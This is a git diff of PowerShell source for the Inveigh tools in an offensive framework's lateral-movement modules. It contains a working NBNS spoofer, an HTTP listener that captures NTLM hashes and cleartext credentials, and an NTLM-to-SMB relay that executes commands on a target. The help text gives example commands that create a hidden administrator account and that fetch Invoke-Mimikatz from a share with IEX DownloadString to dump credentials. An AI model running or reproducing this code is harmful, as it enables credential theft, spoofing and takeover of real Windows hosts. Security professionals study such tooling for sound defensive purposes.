(0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $Basic` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + else + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + + $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length) + $HTTP_stream.Flush() + start-sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old= $inveigh.HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $inveigh.HTTP_client.Close() + + if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) + $inveigh.bruteforce_running = $false + } + } + + $HTTP_client_close = $false + } +} + +$spoofer_scriptblock = +{ + param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) + + $Hostname = $Hostname.ToUpper() + + [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + } + + [Byte[]]$NBNS_response_packet = (0x00,0x00)` + + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` + + $hostname_bytes` + + (0x00,0x20,0x00,0x01)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + + (0x00,0x00,0x00,0x00) + + $inveigh.console_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) + $NBNS_paused = $false + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [system.net.IPAddress]::Parse($SpooferTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while($inveigh.bruteforce_running) + { + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) + { + if($NBNS_paused) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) + $NBNS_paused = $false + } + + for ($i = 0; $i -lt 255; $i++) + { + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length) + + if($inveigh.hostname_spoof -and $NBNSPause) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) + $NBNS_paused = $true + break NBNS_spoofer_loop + } + } + } + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$control_bruteforce_scriptblock = +{ + param ($NBNSPause,$RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + if($NBNSPause) + { + $NBNS_pause = new-timespan -Seconds $NBNSPause + } + + while ($inveigh.bruteforce_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) + Start-Sleep -m 5 + $inveigh.bruteforce_running = $false + } + + if($inveigh.relay_running) + { + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false + } + } + } + + if($NBNSPause -and $inveigh.hostname_spoof) + { + if($inveigh.NBNS_stopwatch.elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + } + + if($inveigh.file_output -and !$inveigh.running) + { + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } + } + + Start-Sleep -m 5 + } + } + +# End ScriptBlocks +# Begin Startup Functions + +# HTTP Listener Startup Function +Function HTTPListener() +{ + if($HTTPIP) + { + $HTTPIP = [system.net.IPAddress]::Parse($HTTPIP) + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort) + } + + $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint + $inveigh.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( + $MachineAccounts).AddArgument($NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( + $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +Function Spoofer() +{ + $spoofer_runspace = [runspacefactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $spoofer_powershell = [powershell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( + $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Control Brute Force Startup Function +Function ControlBruteForceLoop() +{ + $control_bruteforce_runspace = [runspacefactory]::CreateRunspace() + $control_bruteforce_runspace.Open() + $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_bruteforce_powershell = [powershell]::Create() + $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace + $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null + $control_bruteforce_powershell.BeginInvoke() > $null +} + +# End Startup Functions + +# Startup Enabled Services + +# HTTP Server Start +if($HTTP -eq 'y') +{ + HTTPListener +} + +# Spoofer Start +if($NBNS -eq 'y') +{ + Spoofer +} + +# Control Brute Force Loop Start +if($NBNSPause -or $RunTime -or $inveigh.file_output) +{ + ControlBruteForceLoop +} + +if($inveigh.console_output) +{ + :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + +if($inveigh.file_output -and !$inveigh.running) +{ + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } +} + +} \ No newline at end of file diff --git a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 index 483c54edf..21226f695 100644 --- a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 +++ b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 @@ -2,49 +2,83 @@ Function Invoke-InveighRelay { <# .SYNOPSIS -Invoke-InveighRelay is the main Inveigh SMB relay function. Invoke-InveighRelay can be used either through Invoke-Inveigh or as a standalone function. +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + .DESCRIPTION Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + Can be executed as either a standalone function or through Invoke-Inveigh + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + .PARAMETER Challenge Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand -Command to execute on SMB relay target. +Command to execute on SMB relay target. Use PowerShell character escapes where necessary. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" +Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + .EXAMPLE Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. @@ -52,27 +86,35 @@ Powermeup.cmd contents used for this example: powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" Original version: https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd + .LINK https://github.com/Kevin-Robertson/Inveigh #> + +# Parameter default values can be modified in this section: param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", - [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y" + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -122,7 +164,8 @@ if(!$inveigh.running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" + $inveigh.certificate_application_ID = $HTTPSCertAppID + $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -155,7 +198,7 @@ else $inveigh.output_stream_only = $false } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive Powershell { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -181,7 +224,7 @@ else if(!$inveigh.running) { $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null if($HTTP -eq 'y') { @@ -202,10 +245,13 @@ if(!$inveigh.running) $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -232,14 +278,7 @@ if(!$inveigh.running) $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } - if($ForceWPADAuth -eq 'y') - { - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null - } + $inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null if($ConsoleOutput -eq 'y') { @@ -268,22 +307,29 @@ if(!$inveigh.running) { $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } + + if($RunTime -eq 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null + } + elseif($RunTime -gt 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null + } } $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null -if($SMBRelayUsernames.Count -gt 0) +if($SMBRelayUsernames) { - $SMBRelayUsernames_output = $SMBRelayUsernames -join "," - if($SMBRelayUsernames.Count -eq 1) { - $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null } else { - $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null } } @@ -340,10 +386,10 @@ if($inveigh.status_output) } } -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)} # Begin ScriptBlocks @@ -376,7 +422,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -436,13 +482,13 @@ $SMB_relay_challenge_scriptblock = $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` @@ -509,20 +555,32 @@ $SMB_relay_response_scriptblock = { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) + + $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) + $SMB_length_1 = $SMB_length_1 -replace "-00-00","" + $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) + $SMB_length_2 = $SMB_length_2 -replace "-00-00","" + $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) + $SMB_length_3 = $SMB_length_3 -replace "-00-00","" + $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + 